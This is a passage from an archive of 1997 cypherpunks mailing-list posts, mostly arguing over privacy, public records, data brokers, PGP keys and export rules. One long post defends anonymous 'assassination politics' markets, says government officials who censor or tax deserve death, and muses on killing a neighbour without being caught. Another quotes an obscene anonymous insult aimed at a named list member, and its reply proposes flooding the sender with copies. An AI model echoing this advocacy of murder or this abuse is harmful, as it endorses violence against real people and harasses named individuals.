me otherwise with logic, but you won't be able to do so with words such as
"clueless" and "if you only read the whole thing." (Granted the same does
apply to me using the "Fuck you" subject, but hey, free speech and all
that. :) 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 03:03:34 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Ray Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970613132302.23715J-100000@beast.brainlink.com>
Message-ID: <199706131821.NAA14221@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970613132302.23715J-100000@beast.brainlink.com>, on
06/13/97 
   at 01:58 PM, Ray Arachelian <sunder@brainlink.com> said:

>So, say that someone got your DMV records, found out where you lived, and
>murdered you.  Would your family be able to sue the DMV?  Sure it's
>public knowledge, but should it be?  Should breeches of privacy be
>limited to "Breaking and Entering" or "hacking?"  Isn't the fundemental
>problem not simply trespassing, but rather invasion of privacy?  

Ray you seem to be missing the point here.

Any state issued permit is public record. This includes your drivers
license and your auto registration.

It is imperative that in a democracy that the public know who and what the
state is giving permits to (there whole other issue of wether the state
should be issuing permits at all but that should be left to another
thread).

In a free and open society the public must be able to review the actions
of its government.

If Joe Sixpack has run over 20 people because he gets his kicks out of it
and the DMV still issues him a license the public has a right to know.

If the California DMV is secretly denying driving license to anyone who
posts to the cypherpunks list the only way anyone would know is by
examining the DMV records.

If the state is going to issue permits on what people can and can not do
the it is crutial that the public can examine these records to insure that
the state is not abusing this power.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 14 Jun 1997 02:42:06 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <v03007801afc62e624e47@[168.161.105.191]>
Message-ID: <97Jun13.135323edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997, Declan McCullagh wrote:

> Privacy? What Privacy?
> by Declan McCullagh (declan@well.com)
> 
>      I have a confession to make: Unlike many of my
> civil libertarian colleagues, I believe you have no
> general right to privacy online. Sure, you have the
> right to protect your personal data, but you shouldn't
> be able to stop someone else from passing along that
> information if you let it leave your computer. That's
> your responsibility.

I think there is a confusion as to whether "The Net" is a public place or
not, and for most purposes it is.  When I say something in public, I
cannot expect it not to be repeated.  I should have no general right to
privacy in a public place.

When I email, if it is something I don't want to see posted everywhere, I
add a copyright notice of some sort - nonredistribution as a condition of 
use.

I don't think it is considered a breach of the first ammendment not to
allow a newspaper to serialize a book without compensating the author,
even if the book is available at a library.  And lots of things are
considered copyrighted without having the circle-c affixed to it. 

Libertarian means as much finding out about the rules and taking
responsibility for your acts (including unintentional publication), as
having rights.  If a site says they will not redistriubte the information,
and then does, it is a form of fraud.  If they don't say, or if they say
they do redistriubte data, it is up to me if I want to send them the data.

I think many people are uninformed, and simply want to use software
without spending the time figuring out what is going on, so it would help
if the various browsers had better Privacy settings (e.g. Lynx asks me if
I want to accept a cookie, yes, now, always, never, but my current
Netscape just has an Always - Warn (but if I cancel, the transfer stops) -
Never).

There is a minimal right to be informed that the browser allows collecting
all this data, and how to disable it.  I can't force people to read the
manuals, but I don't think it is proper to hide the anti-surveillence
controls on software, and disable them by default.

If a misunderstood or malicious application posted all the data in your
financial files without your knowledge and consent do you think you
shouldn't be able to stop someone else from passing along that information
since you let it leave your computer? 

Give people an informed choice.  Consent isn't possible without knowledge,
and if people know what is going on, they can decide what data they
will allow to leave their computer for public cyberspace.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 02:42:40 +0800
To: Tim May <tcmay@got.net>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <v03102802afc71cdf1f83@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970613132302.23715J-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Tim May wrote:

> Your "go through all your records" point is ambiguous. If others broke into
> your house or office and searched your computer they would be guilty of
> breaking and entering, and probably theft (of your records). Publication of
> your records "all over the net" could be a compounding act, especially in a
> civil action against the thieves.

So, say that someone got your DMV records, found out where you lived, and
murdered you.  Would your family be able to sue the DMV?  Sure it's public
knowledge, but should it be?  Should breeches of privacy be limited to
"Breaking and Entering" or "hacking?"  Isn't the fundemental problem not
simply trespassing, but rather invasion of privacy?  

If I broke into your house, but didn't touch and thing, and didn't damage
anything, I'd still be trespassing, but would you mind?  If so, why?  I'd
bet because it invades your privacy, because it wasn't with your
permission. That's the root violation.  Trespassing is a side issue.

If the tree does fall in the forrest and no one hears it fall, it has
still fallen.  Whether it makes a noise is a question for Zen students. 
That it has fallen is unquestionable.   So I break into your house and
leave no traces and you don't know about it, would you care? 

What if I release the pictures of your house to the world?  What if I take
them using a telephoto lens from a distance?  What if I use IR scans of
your house to see what you're doing?  Or use microwaves bouncing off
metal objects, or IR lasers bouncing off your windows to listen in? At
what point does it become an invasion of privacy?  And what point would
you say I've gone too far?

Personally, I'd say it's too far when someone's going through my trash and
parking a van outside my house.  But that's my oppinion.


> However, if the "go through all your records" is really just collecting and
> compiling your public utterances, or information you gave to others (with
> no contractual agreement of secrecy), etc., then there is really no
> generalized "right to privacy."

If they are public records that were generated with my consent.  And yes,
I do agree with the above paragraph.  It's a big IF though.  But do I
consent to the DMV giving out my info?  Would I consent to the IRS giving
out my tax return?  Would I consent to TRW giving out credit reports to
anyone who is willing to pay the $50?  Not fucking likely.  Doesn't mean I
have any choice in the matter.  At no point did I sign any piece of paper
telling TRW they have the right to give out my info to anyone willing to
cough up the money.

> In a free and open society people are free to take any information they
> have gathered or compiled, cross-indexed and compiled, and sell it or do as
> they wish with it. "Tim's Dossier Service" is free to compile dossiers
> based on any records he can find.

Depends on what that info is and how it was obtained.  If your dossier
contains my credit cards, I can turn around and sue you, even though you
might have paid TRW to get that info or whatever.

If my phone number is unlisted and I share it with my CC company, and they
in turn release it to TRW, and you get it from them and post it to the
world, then I could sue my CC company, but it would be too late.  Sure, I
protect my info, but if someone didn't respect that, what recourse do I
have against them?  Once the info is out, it's out.
 
> ("Privacy advocates" find such things as "Tim's Dossier Service" abhorrent,
> and want laws regulating such things. They even want laws regulating the
> searching of past postings on Usenet, services likek DejaNews and
> AltaVista.)

Depends on what that information is.  There are robot rule files for your
web site that say "Don't catalog this," and web masters do get pissed if
it does.  Public postings are public. This is granted.  I'm not saying
what I write in public is considered private.  I chose to retain copyright
on it, but waive the distribution restrictions. This is granted. 

Further, if you are making money off my information, and if that
information was not publically available, but you sell it, should I not
have the right to get a slice of your profits - assuming I even agree to
let you sell it?

The question is, should you have the right to collect info that I do not
relese to others publically, and make it public.  After all, if not for
protecting our privacy, what reasons would we need encryption?  What
reasons would we have for the existance of cypherpunks were not cyphers
ultimatly useful in obtaining privacy?  For the coolness of their
mathematical properties only?  For signatures only? Not fucking likely. 
Ask yourself why you favor the use cyphers, Tim.  If you don't say
"privacy" then get the fuck off this list.  Ditto for Declan.  (Of course,
this can't apply to the NSA since they have a different agenda on this
list, but that too is a given.) :)

> So, Ray, count me as "scum." Maybe Vulis will loan you his robot insulter
> and you can send ASCII art to the list.

I must admit, I am surprised at you, but no I don't robospam folks, and I
wouldn't borrow one from Vulis.

Perhaps you can turn around and say "Ray's on the rag" or "gone loony",
but I do feel strongly that information that I share with others should be
kept private unless I say so.  Ditto for "private" email.  (Quotes placed
to indicate how easily it is for bad folks to snoop unencrypted email.)

Perhaps I may be overly sensitive to the issue because Vulis (you did
bring his name up, so live with it) posted whatever public information he
could gain in a nice easily digestible package - much like Tim's Dossier
Service could and threated to send my employers weird email, and in the
same postings posted racist crap, but that was only PUBLICALLY available
info.  I retaliated by doing the same, but imagine how pissed I would be
were this info that wasn't publically available - like credit card
numbers, tax return info, etc... 

So yes, you can say, you need to live in a society that is free and open,
and yes, I can disagree with you and say you're scum for thinking that you
can freely collect info I consider private and then sell it.  It is after
all my right to disagree with this, and my right to freely say that I do. 

And of course this is a publically posted message, so go ahead and place
it in your dossier. :)

<RANT OFF>

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 14 Jun 1997 04:32:35 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199706131810.LAA05807@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970613140608.33842A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Mix wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. Maya likes to lick the semen-shit mixture that 
> accumulates in the crack of his mother's ass.
> 
>            /_/\/\
>            \_\  /
>            /_/  \
>            \_\/\ \ Tim C. Maya
>               \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chip Mefford <cmefford@avwashington.com>
Date: Sat, 14 Jun 1997 03:09:55 +0800
To: cypherpunks@toad.com
Subject: Life inside the Beltway
Message-ID: <v0300780dafc74c84bcd4@[207.79.65.35]>
MIME-Version: 1.0
Content-Type: text/plain




New technology for the cops. It brings tears of joy to
my eyes to think of all the children that this new
technology will save.




-------------begin included text--------------------------

Alexandria police have a new high-tech tool to help
them catch fugitives and find missing people.
Police officials last week unveiled new digital
scanners and cellular transmitters that allow
cruisers to transmit photographs in less than a
minute. That means an officer can scan in a family
photo of a lost child and send it to all active
patrol cars nearly instantly.

The technology also lets the police send photos to
the National Center for Missing and Exploited
Children, which can then pass information on to
other police departments.

"In the search for a missing child, time is the
enemy," said Ernie Allen, president of the
Arlington-based center. "The more quickly we can
provide a child's image, the greater the likelihood
we can find the child."

Alexandria and College Station, Tex., are the first
two police departments in the country to get this
image technology, officials said. Although the two
departments use different computer systems, they
are able to send pictures to each other via a
computer center in Florida.

At a demonstration last week, a College Station car
sent a photo to an Alexandria cruiser in about 40
seconds, and a photo from the National Center took
about the same time. It takes the same amount of
time to send a photo to one car as to broadcast it
to all of the cruisers, allowing the department to
blanket an area with images immediately, officials
said.

The same technology will allow Alexandria to send
photos to neighboring jurisdictions as soon as they
 get computers that receive digital images. Federal
Highway Administration officials said they expect
this kind of system to become widely available over
the next two years.
 Alexandria is spending $800,000 to outfit its
 patrol cars with the new scanners and portable
computers that can run criminal record checks.
Adding the scanning technology "is an opportunity
we just couldn't miss," said Lt. Michael Clancey,
who commands the vice-narcotics division.

 Most of the money for the computers -- $500,000 --
comes from two federal grants and assets seized
from criminals, officials said. The department is
buying 82 computers, ensuring that most on-duty
cars will have them.

 "Alexandria has been on the forefront of creative
development in the use of technology," said Daniel
 Rosenblatt, director of the International
 Association of Chiefs of Police.

 (c) Copyright 1997 The Washington Post Company
By Brooke A. Masters
--------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Sat, 14 Jun 1997 03:04:10 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613120008.13113J-100000@cp.pathfinder.com>
Message-ID: <97Jun13.142726edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> Get a clue. I did:
> 
>         Of course there's an essential right to privacy from the
>    government. (Beware government databases: Nazis used census data in
>    Germany and Holland to track down and eliminate undesirables.)

Today the Nazi's would simply pay Experian (was TRW) for their databases. 
I think the IRS already does. 

Private databases collect a lot of data that I am not asked about, or from
government, or that I am required to turn over (e.g. Government requires a
taxpayer ID number to open a bank account, so I can't shop for a bank that
offers privacy as an option, but they will then turn around and give the
information to the databasers).  Since the Government is the origin of the
Social Security Number, and requires its use in many instances, there
should be a law that I should be able to remove any government-required
information removed from any non-governmental-required database.  This may
restrict my access to things like credit (they have the right to say, no
SSN, no credit, which is where I differ with most privacy advocates), but
I should have that choice.

Right now, the lines are too fuzzy.  I think government and private
databases should be disjoint.  Otherwise "private databases" are just a
way for government to evade any restriction on collection or use.

And do they have the right to hold stale or inaccurate data?  And can they
use fraudulent means of obtaining it, or archive data obtained by such
means?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 14 Jun 1997 03:04:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007874afc71e205651@[207.94.249.152]>
Message-ID: <Pine.GSO.3.95.970613143031.25292E-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Bill Frantz wrote:

> >pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
> >sig                        John Doe   (0xFFFFFFFF)
> >sig                        Mary Jane  (0xAAAAAAAA)
> >sig                        Tom Thumb  (0x11111111)
> >sig                        Tiny Tim   (0xCCCCCCCC)
> >aka                        John Doe john.doe@who-is-it.com
> >sig                        John Doe   (0xFFFFFFFF)
> >
> >Since John Doe is the only one who could sign the key with the new aka one
> >can assume that the aka is as valid as the original userid.
> 
> So if John Doe wants to be known as "president@whitehouse.gov" or "Tim May
> <tcmay@got.net>" all he has to do is change the field, and upload the
> changed key to the key servers, and all the signatures should remain good?

Well, no, not really.  See, the way PGP handles keys (at least the RSA
keys) makes it very difficult to remove an id once it's hit a keyserver.

Oh yeah, a signature also encompasses the key-id that you sign when you
sign the key.  So the signatures would fail if the key-id they referred to
was drastically changed...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 08:19:17 +0800
To: Pilgrim <nfn04017@gator.naples.net>
Subject: Re: Democratic Assassination
In-Reply-To: <l03102800afc6405bc170@[204.210.206.39]>
Message-ID: <Pine.LNX.3.91.970613141144.197A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> There is something fundamentally wrong with a society that is built upon
> the notion that those people who do and say unpopular things deserve death.

Not necessarily. No-one here would begin to suggest that AP *should* be 
used for censorship purposes, to say that AP is a censorship tool is a 
misunderstanding based on that old enemy material determinism. A gun can 
be a censorship tool, a knife can be a censorship tool, hell just about 
any blunt instrument can be a censorship tool too. I believe that those 
who censor, tax, imprison unlawfully and persecute deserve death. Of 
course some people may see this differently, I refer in particular to 
Peter Trei who has said on several occasions he objects to execution in 
nearly all circumstances (I say nearly all because I don`t know his 
position on assasination when it is the only way to remove a dictator or 
similar), I can understand his objection, and although I often talk of 
the uses of AP and executing government criminals I do see problems with 
the total irrevocability of the death penalty, it`s just that I see the 
burden of proof in cases such as polticians and police etc. as being so 
totally overwhelming as to preclude even a small doubt, let alone 
"reasonable doubt", whatever you define that as being, YMMV.

> Yet that is exactly what a system of "democratic" assassinations would do,
> enable a large group of people to intimidate and subvert a smaller group of
> people.

Of course, but once again I refer you to my example of other weapons, 
guns can be used by a large group of people to subvert a smaller group.
AP is essentially, just as are any other more direct form of anonymous 
contract killings, another weapon, its moral worth is defined by the way 
in which it is used, not by the system itself.

> So, for the sake of argument, let this system of anonymous democratic
> assassination come to pass...then what? Utopia? Maybe....

No, but maybe anarchy, maybe stable minarchist government, the whole 
system is too dynamic and too difficult to predict. AP could equally lead 
to chaos, however, the fact that the current murder rate in, for example, 
the US is high but not out of control. The reason I personally think that 
AP or anonymous contract killings will not lead to chaos is based on the 
fact that it is not currently impossible to commit the perfect crime 
without digital assasination markets. If I want to kill my next door 
neighbour I can find a way to do so and make the chance of being caught 
diminishingly small, Proper Prior Planning Prevents Piss Poor Performance.
When it comes to killing say a polotician, this becomes much more 
difficult, my chances of poisoning the presidents coffee is not that good 
to say the least! AP allows the killing of public officials and can help 
to make the source of the asssasination payments untraceable (I say can 
help because although digital assasination markets can be made perfectly 
secure in terms of being untraceable, this does little good if I go out, 
drink a bottle of whisky, and tell a total stranger I am having the prime 
minister killed ;-)) Using AP (or similar systems) to kill my next door 
neighbout is inneficient and makes little sense.

> But let's say that someone comes along later, proposing a way of living
> that is radically different from the norm. Exhibiting a nasty
> characteristic that has been inherent in the human races for eons....even
> before the rise of large sprawling governments....the majority of people
> decide that they don't like this troublemaker....through the process of
> democratic assassination...this person is now dead. Forget even the shade
> of a possibility that this person may have been right...that his way of
> living ***may*** have been better than the norm. Right and wrong don't
> matter. Popularity and the "mood of the crowd" do...this person said
> somethig unpopular, and is dead because of it.
> 
> Freedom of speech?

Don`t confuse the system (which has no ethical structure to it in itself, 
it is simply a tool) with the way in which it is used. You would not say 
that a hammer is "an evil censorship tool" because I can bludgeon people 
to death with it if they say something I do not like. The scale of the 
usefulness of a system makes no difference to this.

> Let's say that a group of people suddenly become unpopular. Perhaps times
> are tough and the majority need a scapegoat. Maybe this group of people
> have been long oppressed and are finally fighting back. Through a system of
> democratized assassination....their leaders are dead....with no one willing
> to take their place (out of fear)....maybe a few other random people are
> killed just to really get these people quaking in their boots.

Read the paragraph above and substitute "the government" for "a group of 
people". This is the primary use of assasination markets, you are clearly 
however referring to the assasination of an innocuous group of people, 
say a religious order. Once again, take the paragraph above and at each 
instance of "democratized assasination" read "guns", the system is merely 
a tool, make value judgements on the people who use it incorrectly, not 
the system itself.

> Even if digital cash, anonymous remailers and strong encryption could
> enable us to set up a democratic system of assassination (which it
> couldn't)...

Expand on this please, if you believe anonymous digital assasination 
markets are not possible from a technical point of view please explain why...

> I still wouldn't want to live in a society where killing is
> democratized...I do not want to live in a society where people can
> abitrarily take a vote on whether I should live or die....

You do live in such a society, if the government decides to fuck you over 
and manages somehow to make a muder charge stick 12 randomly selected 
people can decide whether you live or die. If you say something unpopular 
you can be assasinated. 

> Just because a majority of people like an idea, does that make the idea any
> more right or any less wrong?

No, of course not, this is why democracy is an essentially flawed system. 
Indeed when I speak of minarchist state systems I see no need for 
democracy in such a system, there would be so little need for government 
that it would be sufficient to have commercial style recruitment to 
whatever remained of congress etc.

> I (and I would wager you) do not want to live in a society where it is
> dangerous...even life threatening to be unpopular, and to go against the
> flow. I know that I hold fast to ideas and beliefs which are hardly
> considered popular....the only reason I'm not socially scorned, right now,
> is because I'm very diplomatic about them....

My point exactly, you currently live in a society where holding unpopular 
views is dangerous, even life threatening. 

> 	1) He has parents, maybe even a wife and children, all of whom love him

See execution. If for example a "terrorist" blows up a building 
containing only innocent people, killing hundreds. He deserves to die, of 
course from a hedonist point of view the sorrow suffered by his wife, 
children, parents etc. would be overwhelmingly great compared with the 
combined small cold comfort felt out of revenge by the relatives of the 
initial victims, leading one to believe this would be an unjustified 
killing, I don`t hold with this.

> 	He's another human being....just like yourself...indeed, the only
> 	difference between himself and yourself is how he makes a living.

NO!, in that case we can possibly assume that TM believes in killing 
writers, or artists etc. Not so, working for the government (in an active 
capacity, as Jim said in his AP essay he would not consider the crimes of 
say a forest service grunt to be comparable with those of a police 
officer or similar) is not just a way of earning a wage, it involves 
accepting immoral laws and enforcing them, it involves persecuting people 
the government of the day happens not the like. It is not just a way of 
earning a living, see "ve vere just obeying orders"...

> And maybe...just maybe...he is just as big a victim of "The Machine" as you
> are.

This is a difficult point to even contemplate as having any basis in 
reality. Do you know any police officer (lets make that more specific 
and say DEA inspector) who is a victim? Do you know of any possibility, 
no matter how remote, that someone delegated the task of beating 
confessions out of suspects is a "victim" himself?

> Perhaps "The Machine" has manipulated you more than you realize.
> 
> Justice rarely comes out of hatred.

I agree, it is rarely productive to hate your enemy, but it is often a 
natural reaction...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 03:06:04 +0800
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Burn flag = unconstitutional
In-Reply-To: <199706130033.TAA12063@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.970613145314.197B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> >    WASHINGTON (AP) -- The House voted overwhelmingly today for a proposed
> >    constitutional amendment against flag desecration, an issue pushed by
> >    conservatives since Republicans took over Congress in 1995.
> >    
> >    The House tally, held two days before Flag Day, was 310-114.

Sigh, as we well know this is another ammendment (for another good example 
look at say the 18th) which degrades the US constitution and bill of 
rights by making the whole thing self contradictory. I now assume that 
flag burning will have penalties, and that "inciting" flag burning will 
be criminal???

All of those in the US: Time to get out the stars and stripes, some gasoline 
and the matches.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 14 Jun 1997 04:40:25 +0800
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly (fwd)
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: <Pine.LNX.3.91.970613145642.197C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > likes to say "Privacy is not an absolute right, but a
> > fundamental right." But in truth, privacy is not a
> > right but a preference: Some people want more of it
> > than others.
> 
> A right is not a question of popularity or amplitude, it is a question of
> existance. It is or it isn't. Some people want more guns than others
> (obvious even to you) so you seriously hold that there is no fundamental
> Constitutional right to own firearms? Or speech, we don't all want to use it
> to the same amount, we therefore don't have a right to free speech? Or (oh
> my god!) crypto, we don't all want to use it to the same degree therefore we
> don't have a right to use crypto?

No, privacy is not a right, it is most definitely a preference. If you 
allow information to become freely available then there is no way to put 
the genie back in the bottle, once information is available it requires 
restrictions on freedom of speech to stop the spread of that information, 
and restrictions on freedom of private equiment to prevent its storage 
and use. 
This is all based on freedom of speech, there is no such thing as 
"private information" in the sense of it being somehow wrong for 
unauthorised people to posess that information, it is up to you how much 
privacy you prefer and correspondingly how much effort you put into 
preventing information from becoming available.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 03:23:28 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Ray Just doesn't get it.
In-Reply-To: <199706131821.NAA14221@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970613150817.23715K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, William H. Geiger III wrote:

> Ray you seem to be missing the point here.

Bzzzt:
 
> Any state issued permit is public record. This includes your drivers
> license and your auto registration.

Should it include your address and phone number?

> It is imperative that in a democracy that the public know who and what the
> state is giving permits to (there whole other issue of wether the state
> should be issuing permits at all but that should be left to another
> thread).

> In a free and open society the public must be able to review the actions
> of its government.

Then we don't live in an open and free society.  Do we have open records
into what the CIA and NSA and such do? etc.?  Very few. 
 
> If Joe Sixpack has run over 20 people because he gets his kicks out of it
> and the DMV still issues him a license the public has a right to know.

But should the public know Joe's phone number and address and date of
birth?  Gee, weren't we screaming this sucks to easily accessible Texas
DMV records a few days ago?

> If the state is going to issue permits on what people can and can not do
> the it is crutial that the public can examine these records to insure that
> the state is not abusing this power.

See CIA comment above.  What of the likes of TRW, and health records?
Should these be open knowledge to anyone who is a credit card agent or
health insurance co?  If it is vital to have this info to keep the
governments in check, why does the government have privacy?  If the
government has privacy, why shouldn't we?  Neither do we, nor the
government have absolute privacy, however, the government controls the
information it deems to keep private.  Why should we not do the same?

Should detailed building plans be made available of all buildings so that
theives can look at them and break into banks more easily?  Perhaps there
are reasons some of these things are available to the public.  Perhaps
there are reasons why not all should be.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 06:45:47 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymous proxies & ITAR question
Message-ID: <199706132228.PAA07110@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



[Background]
I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't
enabled reverse DNS lookup, so I decided to try running through an
anonymous proxy server to scoop it and lo-and-behold, aside from being
brutally slow, it worked like a charm.

I may have the opportunity in the near future to set up a proxy server,
but this concerns me...

Under ITAR regs, if a "foreign national" was to use the server to get
access to "munitions" (sure, software kills, didn't cha know?), could I be
held in violation?

Even if all they had was circumstantial evidence, I'd really like to avoid
being indicted - puts a real kink in one's social schedule.

Your thoughts on this would be appreciated.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 14 Jun 1997 04:03:27 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <Pine.GSO.3.95.970613085334.27747U-100000@well.com>
Message-ID: <v0302097fafc750f91426@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



Awwww, Caaa'monnn.

You mean they can license handguns, but not reporters???

I think reporters, particularly the lapdog Whitehouse kind, have killed
more people in the last century than domestic handguns, don'tcha think?

Heck, now that I think of it, we should also license printing presses, and
xeroxgraphy, and computers...

... And e-mail groups!  Yeah, that's it. License e-mail groups...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 07:03:00 +0800
To: cypherpunks@cyberpass.net
Subject: Impact of Netscape kernel holeImpact of Netscape kernel hole
Message-ID: <199706132241.PAA09924@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



It'd be nice to have more specifics about the whole situation, but
regardless - any preliminary threat assessments?  Exactly how widely
exploited do you think this has been?

Tim's post (although refuted by Marc) raises some serious issues since I
